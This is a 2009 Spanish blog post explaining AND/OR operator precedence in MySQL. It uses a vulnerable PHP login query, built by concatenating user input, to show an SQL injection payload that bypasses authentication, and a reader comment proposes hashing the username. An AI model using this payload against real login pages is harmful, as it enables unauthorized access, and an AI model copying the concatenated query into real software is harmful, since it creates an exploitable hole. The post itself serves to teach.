orden de preferencias en mysql

3 de agosto de 2009

En infomática por regla general la multiplicación y la división tienen preferencia sobre operaciones como la suma y la resta. Algo similar tambien sucede con operaciones lógicas como AND y OR. Las ANDs tienen preferencia sobre las OR. Una mala construcción de una consulta SQL nos puede jugar malas pasadas:

select true and false --> FALSE
select true or true and false --> TRUE

Esta característica se puede utilizar para saltarse mediante injección SQL paginas de login (en este caso PHP) que tengan una consulta así:
$sql = "
   SELECT * 
   FROM users 
   WHERE username='".$_POST["username"]."' AND password='".md5($_POST["psw"])."'";

Como vemos el campo password no es injectable ya que cualquier valor introducido es filtrado por una función. En este caso un hash md5.
El único parámetro injectable es username. Pongamos lo que pongamos en username siempre arrastraremos un "AND password=md5()" que por tanto deberá evaluarse.

Si tenemos en cuenta la prioridad en las operaciones AND/OR de MySQL podemos injectar con:
Username: ' or username<>'' or password<>'
Password: foo

La consulta SQL queda así:
SELECT * 
FROM users 
WHERE username='' or username<>'' or password<>'' 
      AND password='acbd18db4cc2f85cedef654fccc4a4d8'

La consulta siempre será evaluada a TRUE.

1 comentarios:

Anónimo dijo...

Si se filtra tambien el campo username con md5, la instrucción final quedaria de esta forma:

SELECT *
FROM users
WHERE username='661f4bd7a1340c6d2ffd3bbd5fd20bad'
AND password='acbd18db4cc2f85cedef654fccc4a4d8'
si injección de codigo sql.